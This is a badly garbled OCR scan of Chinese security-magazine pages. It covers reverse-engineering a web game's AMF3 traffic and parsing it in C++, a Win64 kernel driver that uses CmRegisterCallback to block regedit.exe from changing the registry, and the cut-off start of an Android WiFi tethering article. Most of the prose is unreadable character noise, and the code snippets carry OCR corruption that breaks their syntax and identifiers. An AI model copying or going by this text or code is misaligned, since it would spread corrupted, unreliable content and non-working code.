AMF3 R J5 AMFO JE AJE R BLRAR T 2 & 58 2 i R IMAERLAl 2] 1) AMF3 3
BIIEA FHEEAE AMF3 AN T —)2 AMFO, Bt A TE BN AMF 20 40 2
AMFO 11, s 3N EHE 1) type=0x11 I, AR IRIZAN G Vi 8 T AMF3 %,
XA L2 V)4 21 AMF3 B AR AR BEIX AN, Ab3H 58 2 )5 AR & 4k 2L M) 2] AMFO [1)
P A B

AMF 7§ B

HACKER DEFENCE 34



PROGRAMMING ANALYSE
) 2 E%EE socket )

X L IRATTAI B “-LESE 7 W DO AR ) AME 1 K9 S T U, AT R FireFox i %
#8+ (FireBug+AMF Explorer) #HfF&F AMF VHE, HEZMHWE 1 Frxs.

- bodies [ Object { targetURI="chatAct. getAllMessagedNew',
= 0 Object { targetURI="chatAct.getAllMessagedNew',
¥ data [[350 3 4311
responselRI "/413"
targetURI “chatict. getallMessapedNew
headers [ ]
version 2

A1

B TR N B A AMF PMURAS version: RoNiRAS A 3, K 4 A~F17 headers
TR SKABAEL, — MO0 T SR ECAS S 0, WF LA EON n, a8 T RN IZAE n A3k
EREAE, XHEPEh n=0, UL EEBRL. 2 4 METREEEAEAN L o8 L, T
KA A S 1E 3L

AMF [V BA IR IE = (targetURI+responseURI+IN K E+ 25D *n, AT TX AN T HL
n=1, targetURI & NF4Fih, FRAPRIART, FORIXMHEZR B 25, Rl 38
“chatAct.getAllMessage4New ”, M\ =7 HI B AR LT & — AN T MRS 25 i SR BCIRZS 15 B
(1454 responseURI 2 —ANFAFef, WINARRAF, RIETEREVAMN “/”7 FFih H 2k
Yitg, KIFEN “/B137, RN 413 DNRIEEK.

AMF }L5E T targetURI 1 responseURI #ifi /& —A~ UTF8 “E4F 1, Wt é H 2 AN FEikkoR
TR, SIS EE AR IS BRI WA IESCT , WA IE SO A i b 7
S5 R TPESH 2841 B0

AMF F#ERE
AMF3 —JLF5 13 B2,

P, A G R G R R TR

LR
Undefined=0

null=1

FERH BRI A TR, SRR R BRELIE (1L

ey Ly Rl
undefined =0, XAPNEAT4 BT
FATEA =), ART R, null 2880 1, B LUS IASHAT ] P 75
FATHA=(2), BN
FHH A= (3}, BT
Fi AME3 1, #EORAS R AT AR K B TG 55 (1) 29bit 28k PS4k,
T 32bit (AR, FHEE 4 NFARAAE, W13 AT I s A A
M TFRRE — AN AR HEE —553, 75 32bit 218 3> bit
& FRAR I, BT UG G (1) — N BEAANAT 29 A bit IR, X
TR TR 5 e 2 271,
AMF3 R XURS FE I s R AMFO (1) 8URS B V7 AR i g i e —RE A o 2
T (PEAE 48 751 o — AN 8 E5 1K) TEEE-754 IR RURS BEVF Al
(FF S AEARAL N A
AMFO F1 AMF3 ] UTF-8 SK4ufilh 745 Hi o KT AMF3, — AN FfFHinf
DU A i s kgt . nl AR K BETEART 5 1) 29bit 135
T3k, JEHE A bit AR g . bRk 0 I, FRFH R
S GRS, RN A EOE F RGNS UTF-8 il )7 15K . A
W LI, EERFR G A, &AL EOE R g i e e

False=2
True=3

Int=4

Double =5

String =6
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A3 i g R AR5

Xml-doc = 7 F1 AMFO 241, XMLDocument )45 K2 75 B 45 7777 B 3R ok P 4k
fEAVMF B, D TR R, HAN R UTF-8 K gmid .
Date= 8 1E AMF3 ", AS HIAM i 22— DA IC 1970 41 H 1 HEE

s AEH UTC I X RUPUAE =20 K. AN XA BABOR IS

AMF SEEAL 7 T AR, R MG 70 o X ORI AR 20 14
Array = 9 R R B A AT B AR 4 R CRTREBEAT) L. AR
I3 I ZREHR TS R IRAE P SR A CATREBCA ) SRR 2 1K
N CATRERE T

Object=10 JeE SR
Xml=11 AS3.0 FIHET —/NFinY XML 2878, S HF B4X A)vk.
ByteArray AS3. 0 5|3k TR R R 744, Bl ByteArray. AMF3 HHA[4Z

K1) 2901 t IR GRS -5 A FEAE A TSR, L5 B 45 By teArray
(SR bs 715k P A4k .

NG S VA int. string. object =R EHE IS AL 1) G AL IS

1) int RIHERE

{4, 206, 16}, 4 FKinixyuzE MNEL, 206 Fp — iy 1100 1110, WFEmtih 1, Br
DU — 53R %L, BEIKE 1100 1110 S5 & 0 344 7, A8k 0010 0111 0000 0000,
F{F 16 =00010 000, T HEfi A 0, #MCN—F5%, M- yifiek «|” 125, 00100111
0000 0000 | 00010 000 {75 H} 45 4% 10000 (2l

2) String 2%

"abcdefg"={6,15,97,98,99,100,101,102,103}, N1 6 MRS, K, HE
TR T, AREKEEAHE T e iX H len=15, X INEIATR I LEANT o
FEI, FATEE RN int A8 147, 15/2=7, XEtRBAIKIE. L Amfesm, b
fE LB LA, A A2 H AW 2 B8 A3 A 2 ir kL AMF #% 2UIR i, A4
e, SRR E T,

AMF 23— AN EH A0 L B 1. string 200 OR A7 B AN F1R Al XANFIR JARAE
string (0 AJFRZ A String ZRA7h, J5 L4 object SEBIFIZE A7, TEHZ—FE)), DUME
A AR, v AR B, AR E R, XA DA Rk
FATE s

Obj.name = "vigour";

Obj.school = "vigour";

BATRXAS obj il socket A&i%, FL8E “vigour” XANTFAFH HUZM T name KIET —
U, B school EATR? 2REIEFRIC N “vigour” 5 LN TR KILMN . X%, FRAME
HITE T IR — A 2T o BRI int 2 a, IBA:

if((a & 1) ==0), FrRGA WA 0, MFRIEFFFRATI O AORE, 2 a/2 IRE
{8

if((a&1)==1), FREJafiuife 1, WERRMXFHRR 2L, KERF a/2.

BAVTE T AR S A, T R AR K B UG T 15 / 2 = 7 72715, A H Ascll
T 45 AR Y. () A RAT 7 UOATE AS Hh R IR i xCHR 2 utf8,  Jir UL 245 i Ay
SO, BAEAM T LK GB2312 A BEAE TN R
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T B AL R IE M EAE R LA bit M T4ah5, &P uniRiEgmid R 5], R Ak
CURIE MEHEIEATIA R, X J2 AMF WURRS SR PT7E, RS T 1) object R MFAT T, A
STRAA RN, 13— E A R FIR R

3) Object 5%

AR CHE S TP RIS HIAE, B e AN R AMF 2870 (50 20 & i — AN, LT 51 1 .
EU Qi i iR 25 25 75 22K — > NPC M5 B EME 45 % P, NPC A5 EVELFE A id. &4, PR,
WAEHEH ., FIF Object i tn .

NPC object

{

[int] id 1;

[string] name “tom” ;
[false] sex 9

[date] birth 1999-1-1;

}

int. string. false. date {E4 object & A M2EAY, id. name. sex. date JIJZ&7R# 1k it
%, 1. tom. B\ 1999-1-1 F3 &A% B A A

KBGO “traits” EZME (5 HRZA “FetEEdE), object 54
A VURPFEARAY, HAFPEE B W R R TR
Anonymous ( BE 4 | RIEMIN K Object ZXFGSLH], Fud by i A @AY Object X
it R P
Typed CEHEZE!) WA M4 Object X% 5141
Dynamic (BHZ&ZLD) | AT NAFEIE A 2w LR SE, R AT i, af LLEES 2 0 4
SR AN B 2 2 04 AR
Externalizable SCHLT flash. utils. IExternalizable 25|, I H5eai

(AMEED L A I (FERFPEAE B e B2

BT R IX SRR, 0 SRR ARt ] R HE— 41 AE object HE LA AR FRI A 3]
EEREES EIPrAR AL, AFERED. S50 A I R EmER, ROy
PEAT SR 1P R B2 2 RIS RO T3>, ZERR AT object S48 I 7 42 R B2 W 2 BURF A5 R 2%
IR R AR R

30 7R R B 44 T ) objeet S, LA G5 M A O SE AR TP A NI AR T AT, SR
A TR 1608 BREL, PR P 1 N 26 4 TP st IO A7 1 D2 A4 PR » 426 TR U B fEL s W12 object
SR ARSI, IS LA B LU R0 2 S5 R oy s SV B e i i) “ 2 /ME” X, g
TP UX R object B BT “ A /MH7, HEINSA AR T A2 T PR 5o
APETU object FIER A R GE A HIT R F e, X LA ZAME I .

21 Object SEBIFE 1T IR IER SO IR, AFM 226 1% object SEI 47 ANXF N R 22 b X A,
IR bR RG], Object SEFI P IRAEM I HILIS, AFFEAGETCHRESL] T, R KRR
B, P i AT R AR 2 5 [ B2 ph D e SO B S s o 10— AR ST RS, X
2 KEB 7 AMF BERNA AT IR 2E 1), F S0/ 4111 object M4RF P 0cH th n DLIE Ik 2R 5 176 4%
7 HGE JR C IR R PR, X R AR object SEMIIN 2 OGS, A BRI AT LI
SRS

Ob jec t s 78 A I 1 S AL 0x0AR A, B Kk 324 [Fob ject J& PN, 1T
K447 K F Bllob jec tRIRFMEE S LAl sl | H 7 sl b, R oQTE 2L, R4 & X N R s
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U290-ref U29-0

%5 0 A7 (bit) LoRH R AL object SEHIEESIH], A 1%L
Part Al Oy 0 Hidlast A9, 1-28 AR g T
SUE CAEED.,

U290traits— | U29-1

ref

55 0 ALbRAEN LN B 1AL IZAR SRR R 5
N O IR R R 2 — A5, B 1-27 23R si% g | Y
R MH.

U290traits— | U29-2

ext

XA VAP
AR 26 A7 JER S CRFPE RS R BCRA 2052 0)

U290-traits | U29-3

5850 REARSALA 1, 55 1 AEARELRN 1, 28 2 AR 0,
5 3 MRSALR AR R AN 0 LA N, 1
BB BRI RG22 )5, SRS AT REd —41
SRS “ A EXE 7, AN R 25 AL ARG A5 e b Ry
J A IR

Ui 5 U290-traits-ext 24 0, JB4 object 2544 2 JG ERAE*(US) T 1T AN AT ¥R 3 Rl B o IX 2
FIRTEA H R SUTFILI AT, 25 7 R AR 25 vt Al FH — N FAA P iSO O 6 015 B o

N LA “-LRESE T WU, 7 1B AR FAIH HetpWatch SR {EER SRR AT
MORA BT B a8, Wk 2 s,

v & { § 9 2 b ¢ d g f

00000010R: 73 75 6C 7

Leoiis 300
00000000h: i» 03[[oo_ool[oo
: c 74 o o0 EE_FE EF _FF| LY pAE 23 [ogfailies ¢ suic..

03] 00 QC| 2E 32 32 2F &6F 6F S 6o I ....... f22/onRe

00000020K: 75 72 T2 54 69

D &5 63 68 61 74 0F 42 73¢D5 : urrTime.chat.Bs?

00000030h: 75 95 D& DO 00

09 01 01 : uflE7. ..

Kl 2

00 03 KIRMA T 3, EXARAT ALK, PSR MR A i b nl e 218 2 AMF3

(¥ &

0000 Kkl EN 0, —Mefbdl ML S AN 2 0, bR HRAT AN 0L B

TR WA ECA n,
ki ;

IBAFTTRMAZZ n A SKESIO S, KA n=0, PTUAH

00 01 FKonilf BRI ECN 15

IE3CHRAY

00 0C /i targetURI [ S & 0%0C;

2F 32.....74 i/ targetURI Rl : “/22/onResult”;

0000 #7i responseURI A %5 74 i

FFFF FF FF NR R IESCK R, (X R

11 TR AE AMF3, RPN AMF3 [ 04T s

0A KR R 24> AMF3 [f] object X %;

23 IR R : 0010 0011 IX A7 155 44> AMF3 1) Object X SR AT T 0GB M &
X, FFEBADL—AZ 1, FRIX object j&—MILL[H Object, 1A & — reference (5£

b 55— UGHATAFf# X Object

#Z AN ISEM Object, RAEE 2 AR I A = —A4

reference), AT 2 A& — 1, KRFIRIXA object [ trait £odli IFRIRIL S, WA 2
0 MIZ IR 1% trait Z0dl & — A5, E 2151 AF b BT S48 A% 3 frad 0, FoR
I object JEAE— Externalizable S5, i Bk bl J& BEIX AN object WIRARA L, A
R, ARG AR AMF 2 B, BRAESCILT IExternalizable iXM% 1. 5
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JaIlER 4 A 0, FoRiXAS object & MEBNIAZE, /il 0010 #751% object PPN ITE .

VAR TS, FHRIRAENRZIXA object 1 trait 4, G AE ClassName: 01, H.—
i & 0000 0001, V& 01 HA VA ER 1. TAVEHF BATAL— 72 1, FIRIXAS ClassName
ARG, AE LR FF R ZAAR i & 4k /2Tt 7 4, FoRIEXAS ClassName
K E IR 0, iaasd, 25 IF) ClassName f&F8IX ™ object [ Class ft % M5 [f) Object
%

T A L object R B IRAS A RR T -

0x11 KINZLAL TR KR 8;

0x63,0x75......65 KN IZ M FFFH A “currTime”s

0x09 K I/N1% 01 AL f 4R AT KR 4

0x63,0x68,0x61,0x74 K7~ il 7t 17 il “chat”;

0x05 71~ currTime Ji 52 /&> Double 445 &

0x42,0x73....0xD0 0x00 currTime {fi}j 1362970107245.00 (AK#:4);

0x09 /N IZ I I A T & — array;

0x01 #£7~i% array R —PDICE;

0x01 1% array M2 2 2B 45 HR s

b, R IZEIE NN

Object:object

{
currTime: 1362970107245.00;
array:[0];
}
Ty A g R )

N T AENTRE P IRV, R AN T EEARAT I AMF ST amf object KRR, BRIh
amf_object WA KIENAFHAE, A THHITE, 5l anf_object handle 28, XA ik
L Windows ZR %t H 1) HANDLE () 4%) , i 1) 4% Sk [B) B2 1 0 2 48 0% Bl £ s b A7 #4E
Amf object 1 amf object handle & 245K 3 FizR.

Amf_Object_Handle Amf_Object

......

DataType type;
CString  classname;

-amf_object* pobj;

amf_object * . getamfobj ect(); Bool boolValue;
amf_object_handle& operator = (const int intValue;
amf_object.handle & rhs); Double  doubleValug;
amf_object_handle& operator = CString  strvalue; _
(amf_object* obj); std::vector<amf_object_handle> childrens;
amf_object* operator -> () const; | | 7T

bool operator == (const amf_object_handle atic amf_object_handle Alloc();

&rhs) const;

void clear_value();

""" void add_ref();

void release();

bool has_child(const char* name);
amf_object_handle get_child(const char*
name

......
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fE] LML, amf Object dlid Alloc O #AJ7VESEIN object SEHIAAESML, I object
S S BYFIE 23 RAFAE type A boolValue 25 il G AR B o 3 B 5 B4 Jal) d W 1) 42
h AVF PSR R R (PR, LAY object [FZRALR Array B object B, fHEH—A
object KA EANFRMRAFHASITCRINE, NSRBI, I — X R it
IT#HT. Amf_object Handel HAT—ANai AL E*pobj, Wi “= == -7 SHAERF K
FESLINT Amf_object SEEIMIRAE . S1H . Sbak, FEFIEE R = MERH KIRAT string.
object. object traits Z{FEHIZZIPIX .

fidHT AMF B iSUEAE 1 pR 22 read_elem (TAG context *ctx), HAZ OO -

amf object handle read elem(TAG context *ctx)

{

amf object handle obj = amf object::Alloc();

obj—>type = read type(ctx);

switch (obj—>type)

{

case DT NULL:
break;

case DT FALSE:
obj—>boolValue = false;
break;

case DT STRING:

read string(ctx, obj—>strValue);

break;

case DT OBJECT:
obj = read obj(ctx);
break;

return obj;

ZH TAG context *ctx s& AT B 2217, readelem BT G0 amf obj X%/ id
WAE, 5 AT B 22 A7 h B2 E A 5715 AT AMF i 28 28, AR Eicdis S8 2R AN [F)
PRECHEAT BRI . SRS, X true. false. date. string. int Z53AT 5B AU,
S — R HE 2R B e BOE  amf handle T4 amf object A%, X Array. Object
H TR AR A AL AT I VT ] readelem bR BT TR 2 AR BRI, BB FR
JA S B TG 1 1 o3 (R ds e R B S A Bl 1K) amf obj Xf %R [E[. REILL int Al
object FHi A, VAT FE:

int YRRy A AT LU T B, A ARG AT R

unsigned char byte = read byte(ctx) ;

int readnum = 0;

int value = 0;
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while (((byte & 0x80) !=0) && (readnum<3))//EF1WH 1 XoRJGHFER, HHEL

3

value = (value<<7) | (byte & 0x7F);
++readnum;

byte = read byte(ctx);

AR 5L, read byte BEUEEIRM, A ZB 7SS, WRT AN 1, &
IRHRIEATEGE, KK byte 5 OB value BEAT “ |7 385433 int {H.

Object MBI R LA L %, KIEAMGAHS, AU R OHERE, KR
AT MR] LA S MERO PR BEA T 5. JLAANT PR AL read _obj IUEEAIRE WA 4 FroR.

| FRHCRT Bl

A
B BRAE MR R BB BT
B&HE, RESdx=re>>1k
RREN, FIFHidxfEob) B E
FIFER Eobj

Traitsnfofs BRI R %
3, ZETraitsinfoBARICE:
BREEre>>2 MRS,
5 FHread_element iR
EECTRIME

N

KR
R, ref>>48%]
RABER, S
IR R A
RHSE T ROFFITR, & igzgﬁ*&
“HME” FANFERRR, B .
BB TR L
return refobj;
Kl 4

FENTIL RS, EI AR OB e T, X B ARG T . TR A2,
fil# BT object Eud, TEWENANGAEH, 2052 object ST G A7t FIREPE B s 22 A7tk
AT AR A R R SR A A, AR 2 object T B ERGR ST H N, P4
PR R G MEBI A (BERD A N E s AT 185, B T AT object i e gk
SLGEAFIBAL, AMF PP string, array SEEHRE TR G T 94, KK AT LIRS
BCA AME3 BIpiSGHEA T i sk o
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ARG IR

SRR, T B R RO T, X BRI TE+httpwatch #R(HC— B “ Ll
i ” WP “userAct.getUserProperty” (T 3REU = 25 Tt ) 18 Sk i 2 110 [R5 P it
TN, 15 Amf_explorer [WIfEAT 45 REAT IR, WK 5 Fios.

A+ TOW militarslimit 200
iss . 2
BR IH@ ZTEW s FHFEHO Eilitarrfoint :
O = ? mountsMilitarrPoints 0
- nex tLvHonor U0
AFNEoAT | Thesz | Thes | Thige official
’ oldName
= [Object]elazzname: (1,1,0,00 er s nn
icForbidlalk: 0 politrlimit -
skillFoint: O politrFoint &
explimit; 755000 prelserNames [1
militaryLimit: 200 prestige
inflimit: 5 o -~
auildWame: HIOEIFEFF prestigely T
userWame:  BLEHIET] rankld i
official: 0 _
expFoint: 1TIS rankfame L
intelFaoint: 0 selfSignature EATR
leaguehttack: -—1870045192 serverName "
E:i:: ’,“5’11):5? P skillLimit 183
armyHumLimit: 20900 skillPoint
finalMilitaryPoint: 23 tacticLimit 180
mountsMilitaryFoints: 0 tacticNum 80
zerwverfama: .
headTecon: wuserl_4. jpg title T
finalIntelFoint: 0 - userhchieve [ Object
nextlwHonor: 2470 more... }
= userhchieve [hrray ] TTE-T-H:5 . ’
=) [Object]eclassname: (1,1,0,0 = 0 Object
TELLOWWIE: 1 BLLUEVIP 1
QOVIF: 1 QQVIE
ELUE¥IE: 1 )
[Object]elassname: (1,1,0,0 RLLOWIP .
[Object]elassname: (1,0,0,1 +1 Object
[Object]elassname: (1,0,0,1 T2 Object
[Objectlelassname: (1,0,0,1 )
intelLimit: 200 i 3 Object
maxizlyphlewel: 0 1 4 Object
t::i‘;;r"ﬂum: Llagﬁ userCurrArmrNum 5960
r ame. L R
Y RN R R userName Bl
£ b3 —— '

Kl 5
“userAct.getUserProperty” $8-4 1R [R5 /& — NEEA ) object X%, HAH LK
71, WM S A FR username, ZREHMHE honor %5, Hirft userAchieve XA LERRR K,
HMIE Array, J& TG TR GED: . AFAESAT, A E U2 object R,
AL —A object B R IEE /& {YELLOWVIP: 1, QQVIP: 1, BLUEVIP: 1}, Zeidxfth, KA
(RIAER BT RLF I 45 R FireBug ) AMF explorer 3 g T i1 45 R HA 5L,

K TG

D) EEE “OlESE” ST AME PGS 1 O, AR FireFox W%
#4+FireBugtAmf explorer Jfiff. =, KA Firebug fl AMF explorer BUEIA I, ANGE
LHRRA) Firefox WIWEAR A, S5l A AN BRI Firefox WA, 15.0 LU MARA.

2) Firebug ASZHrHdE S DA, AHZ T AMF Hds L Refii ] TE+Httpwatch,

3 FHEIEE, H UltraBdit ¥ Hetp FALSLE MR, LR “0x03” Bhislk I
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BB AR R EEE, BRI E, BT IR0 S PR AT R .

4) YEAGATHH VC6. 0+platform SDK sp2 4widcidit .

5) HARFRITREMENT R EE, HR TR, BPeAREATEENHT, &
WL VER IE

AL EEMEEE ER AMF B AR AMF JE B S, Gl Y EA SR AMF
KR, A A B A S DB YRR AT AT R, MEE FAGE A 1755

Win64 & Hook SZPL ISR

X/ AR

EWin32 P& b, WHvE MR T BUE H & SSDT Hook. iC/3FkE ARG IIEE—Fs S,
e K T W SSDT Hook PFilA& ek IE F 0T ANLIAEKE, H SSDT Hook 77 xUiki 4
MR SEAE S NRRET T, 1 HAE Win64d FIEARESIAMEH SSDT Hooke ANSCKEAEH—Fli5ElE
SSDT Hook My EM KM /5%, AL SSDT Hook —FE4f s

TXAN TV il A Ak B 7 1F) v M 22 W 45 R B CmRegisterCallbak. I pRUH SEAF
Windows XP R4 b7 T, ALIENDhReA e, HEEH R AAE LRV, JoikR1G 82
FIEMRESE S CBIMEAE] “ME". BT Vista RELUG, PO e B8 T M 24 K1)
SRk, A RASEIL s R H ) T o A SC IR S SISO A W R i 2 (regedit. exe)
PR RS I MIER . Ty A MEAERRIEL DbgView FTEIHR, F4E4avi (LA
regedit. exe, JEPEN RGO MR IEAE L T, EAMOE R T ERELK).,

B FIXA R R

NTSTATUS CmRegisterCallback
(

In_ PEX CALLBACK FUNCTION Function,
_In opt_ PVOID Context,
~Out PLARGE INTEGER Cookie

)

MSDN I REAR Formdl , R Ak i, X =ANS500 3 A BlE a2 ik, B
HIOE (HEMANNULL BPRDD, [FEM AR . FFE, AR EH T8 5%, &2
CmUnRegisterCallback, JRZUIR:

NTSTATUS CmUnRegisterCallback( In LARGE INTEGER Cookie) ;

CmUnRegisterCallback pREiME— KIS UM /& cookie, WL “RIHIAIRN". A FN4H
S R AR G

LARGE INTEGER CmHandle;

NTSTATUS CmSt;

CmSt=CmRegisterCallback (RegistryCallback, NULL, &CmHandle) ;
if (NT_SUCCESS (CmSt))
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DbgPrint (“CmRegisterCallback SUCCESS!”):
else

DbgPrint (“CmRegisterCallback Failed!”) :
CmUnRegisterCallback (CmHandle) ;

N SRA A 1] 8 R B i 2

NTSTATUS RegistryCallback

(
In_ PVOID CallbackContext,
_In_opt_ PVOID Argumentl, //#fERA CJUZERAEG S, ANEFRED
~In opt_ PVOID Argument2 //#AFVELN(E S IS5 /KT £

CallbackContext FEANT] LLZWG, EEEFIHE NI AN2%1 Argument 1 A1 Argument2.
Argumentl K PR HAER T CXANSHARTRE, FURBAERIM %S ), Argument2 ik
PR RIS DA R 5. 2 F RN+, LhndRAN &M T — N b,
A W0 B R I A R AR, FRATTVEM A R sk S B A, Argumentl FAE EE
RegNtPreDeleteKey (pre 2 “#HAEHT” M= HE ), Argument2 [f{5HE 2 — /35 I
REG DELETE KEY INFORMATION ZS#a4AiIfaete #AEoemfa, FAl] a2 [al s 3 25 4 1
— K, W Argument1 1115 E 52 RegNtPostDeleteKey (post & “FAEG "= ), Argument2
({5 A& /M1 REG_POST OPERATION INFORMATION Z5Aa4AIIFREr . 7L A M4k fA
HUUEHEAR, B Object, BRAREAE TSI A RTINS a5t CHXS T8
T ORI GARErs A T3 /e /A / 3 iy 44 AR AT N o Iy 5 A2 I
IR ZARER) . TILIXAS Object FRAFITALFR I ARASGAN T :

BOOLEAN GetRegistryObjectCompleteName (PUNICODE STRING pRegistryPath,
PUNICODE STRING pPartialRegistryPath, PVOID pRegistryObject)
{
BOOLEAN foundCompleteName = FALSE;
BOOLEAN partial .= FALSE;
if ((!MmIsAddressValid (pRegistryObject)) || (pRegistryObject == NULL))
return FALSE:
/% Check to see if the partial name is really the complete name */
if (pPartialRegistryPath != NULL)
{

if ( (((pPartialRegistryPath->Buffer[0] == "\ ||
(pPartialRegistryPath->Buffer[0] == %)) ||
((pPartialRegistryPath—>Buffer[0] == T7) &&
(pPartialRegistryPath—>Buffer[1l] == 'R’ ) &&
(pPartialRegistryPath—>Buffer[2] == Y) &&
(pPartialRegistryPath->Buffer[3] == "\\"))) )

{
Rt1CopyUnicodeString (pRegistryPath, pPartialRegistryPath);
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partial = TRUE;
foundCompleteName = TRUE;

}
if (! foundCompleteName)
{
/% Query the object manager in the kernel for the complete name */
NTSTATUS status;
ULONG returnedLength;
PUNICODE_STRING pObjectName = NULL;
status = ObQueryNameString (pRegistryObject,
(POBJECT NAME INFORMATION)pObjectName, 0, &returnedLength ) :
if (status == STATUS INFO LENGTH MISMATCH)
{
pObjectName = ExAllocatePoolWithTag (NonPagedPool, returnedLength,
REGISTRY POOL_TAG) ;
status = ObQueryNameString (pRegistryObject,
(POBJECT NAME INFORMATION)pObjectName, returnedLength, &returnedLength ) ;
if (NT_SUCCESS (status))
{
Rt1CopyUnicodeString (pRegistryPath, pObjectName) ;
foundCompleteName = TRUE;
}
ExFreePoolWithTag (pOb jectName, REGISTRY POOL TAG) ;

}

return foundCompleteName;

— UL, S ANSET LA, B — AR AN SEOR T UL T . BN e —
ANEEATRCIT T 200 X ) UNICODE_STRING Z5 #4454, 2 = ANSEUR I M R I X S 454t

B T kAT T BRI R AR R — e, LB MG B AR SR T, HE 2
UNTICODE_STRING, 3REXARH J7fd. DAL B8 (E %, REG_SET VALUE INFORMATION &5 #4441
ESNR

typedef struct _REG_SET VALUE KEY INFORMATION
{

PVOID Object;
PUNICODE STRING ValueName;
ULONG Titlelndex;
ULONG Type;

PVOID Data;

ULONG DataSize;
PVOID CallContext;
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PVOID ObjectContext;
PVOID Reserved;
} REG SET VALUE KEY INFORMATION, *PREG SET VALUE KEY INFORMATION;

R, AT ST E S MRS 1. 20 44 5. 6 ELGY, 1 EIXANEEITE KT, 2
JEIXAEEARR, 4 RIXAEEEA, 5 RIXAEENIE, 6 SR MM KE. HLEd
PR, BREEAS A I R, FLREAE 1 MSDN BT,

[ R RS AN G 58 LIRS, & N I i AE Nzt B T )+

NTSTATUS RegistryCallback

(
IN PVOID CallbackContext,
IN PVOID Argumentl,
IN PVOID Argument?2

long type;

NTSTATUS CallbackStatus=STATUS_SUCCESS;
UNICODE STRING registryPath;
registryPath. Length = 0;

registryPath. MaximumLength = 2048 * sizeof (WCHAR) ;
registryPath. Buffer = ExAllocatePoolWithTag (NonPagedPool,
registryPath. MaximumLength, REGISTRY POOL TAG) ;

if (registryPath. Buffer == NULL)

return STATUS SUCCESS;
type = (REG NOTIFY CLASS)Argumentl;
switch (type)
{

case RegNtPreCreateKeyEx:

/B U2 R — R OpenKey, —{K#& createKey
{
if (IsProcessName ("regedit. exe”, PsGetCurrentProcess()))

{

GetRegistryObjectCompleteName (&registryPath, NULL, ((PREG CREATE KEY INFORMAT
ION) Argument?2) —>RootObject) ;
DbgPrint (”[RegNtPreCreateKeyEx]KeyPath: %wZ”, &registryPath) ;
/ /HTRREI ER AT
DbgPrint (”[RegNtPreCreateKeyEx]KeyName: %wZ”,
((PREG_CREATE_KEY INFORMATION)Argument2)->CompleteName) ; //#7HM 44 Fx
CallbackStatus=STATUS ACCESS DENIED;
}

break;
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case RegNtPreDeleteKey:

{

if (IsProcessName ("regedit. exe”, PsGetCurrentProcess()))

{

GetRegistryObjectCompleteName (&registryPath, NULL, ((PREG DELETE KEY INFORMAT
ION) Argument2)—>0bject) ;
DbgPrint (”[RegNtPreDeleteKeyl%wZ”, &registryPath) ; // o it
(1) %A%
CallbackStatus=STATUS ACCESS DENIED;
}

break;
1
case RegNtPreSetValueKey:
{

if (IsProcessName (“regedit. exe”, PsGetCurrentProcess()))

{

GetRegistryObjectCompleteName (&registryPath, NULL, ((PREG.SET VALUE KEY INFOR
MATION) Argument2)—>0bject) ;

DbgPrint (”[RegNtPreSetValueKey]KeyPath: %wZ”, &registryPath) ;

DbgPrint (”[RegNtPreSetValueKey]ValName: %wZ”, ((PREG SET VALUE KEY INFORMATI
ON) Argument2) —>ValueName) ;
CallbackStatus=STATUS_ ACCESS DENIED;
}
break;
}

case RegNtPreDeleteValueKey:

{

if (IsProcessName ("regedit. exe”, PsGetCurrentProcess()))

{

GetRegistryObjectCompleteName (&registryPath, NULL, ((PREG DELETE VALUE KEY IN
FORMATION) Argument?2) —>0Object) ;

DbgPrint (” [RegNtPreDeleteValueKey]KeyPath: %wZ”, &registryPath) ;

DbgPrint (” [RegNtPreDeleteValueKey]ValName: %wZ”, ((PREG DELETE VALUE KEY INF
ORMATION) Argument2) —>ValueName) ;
CallbackStatus=STATUS ACCESS DENIED;
}

break;
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}

case RegNtPreRenameKey:

{

if (IsProcessName ("regedit. exe”, PsGetCurrentProcess()))

{

GetRegistryObjectCompleteName (&registryPath, NULL, ((PREG RENAME KEY INFORMAT
ION) Argument2)—>0bject) ;
DbgPrint (” [RegNtPreRenameKey]KeyPath: %wZ”, &registryPath) ;

DbgPrint (” [RegNtPreRenameKey]NewName: %wZ”, ((PREG RENAME KEY INFORMATION)Ar
gument2) —>NewName) ;
CallbackStatus=STATUS ACCESS DENIED;
}
break;
}
/RN ARG A BN “ Ay AR W AR, JEE SetValueKey
T DeleteValueKey
default:
break;
}
if (registryPath. Buffer != NULL)
ExFreePoolWithTag (registryPath. Buffer, REGISTRY POOL TAG) ;
return CallbackStatus;

TPV R, B IR A STATUS SUCCESS, M 8 E st &4k a4 4T, Wik
[0] STATUS_ACCESS_DENIED, JEMREEAEMASHAT T, XAEHUAR T “W¥” M8CR, &
LRI 1 R .

L WEP R Drivers -0
CEORSE DY - [ share ), ie - .. B
o Registry Editar =LCT - ]
AIUSE iy pn Vi feverils M
[ MY _cLasHs RRGT = | pame Type Do
i m;_w:nwr_mn =] Dedau) [ et set)
’_ i M*ﬁmﬂ“‘-‘x’ & = Adspadd REG_BHARY A5 TH 0000
: : W Atichework REG BNARY 100000
- AR S Channefiumer  HEG BIHARY ta 0000
o L AN
| . SECURTY: F{DvbNetwork REG_BHARY 20000000
5 . i FiEblestic PSP REG BNARY 1 00w
3 \ W Tachnalogies EEnsblelVE S REG ENARY 000000
Clasies 5
& | Chienty =
intel SECoiR :
| . e e Cannot delete 7575 DECODER: Ermor white deleting key.
h 4. PU5 DICODLR
L Macomedia
1 Muerosoft
—_ I oec
b Paiicies
s 1. Fagiseredpplations
- o |, ThanPrint
ki Vtare Inc.
e I Wowbalitiode
-t svsTEM
@ |« s o "
Computer MKEY_LOCAL_MACHIND SOFTWARD Intel PSS\PHE_ DICODIR
B storage Spaces () Sync Center | kbar
ol Troubleshooting % User Accounts I

Wiithdh WA BE R

B windows Defender ‘ Windows Firewall

ECIER
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“4 ﬁ E ﬁ ﬁ ) PB4 socker )

A HEER, HACESAE Win7 X64 F1 Win8 X64 MRSt . 4 HIHEHE, Win8 WA R
I FEAR R 4%, B O 48 Administrator 17 T o 384T BIREP#8 & LLIE T 7 AR iz
T, FTUAEIBATATAT R, #55 X RE i dac A B, IR “ DU B DU IRIZAT 7,
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Android “F & T ¥ WIFI R B¥# %

B A

BEE TV PSR RER sh & o (85 J, TN e e () 3G M8t 3, AATIRF AR ANTER)
Wifi PRk o5&t e T 7R P AT I8 JE 52, Android 2.3.X Z AR R4
HERAFRAL T Wifi L2 fg, B nT DU AR 3G 8% 2G (119 4yt et i ok 48 7 Wi # i
AL FEH P A, AR T AL Wifi #oSatm o, WA
WifiTether £,

Wifi JLE D ReAE 7 IR R, A AR B R Bt Wi ) FH P 194 28 2
AT IR AN FRAT IR AB N RNy, m] DAR 5 38 () WL — NI [ 44 1) Wifi

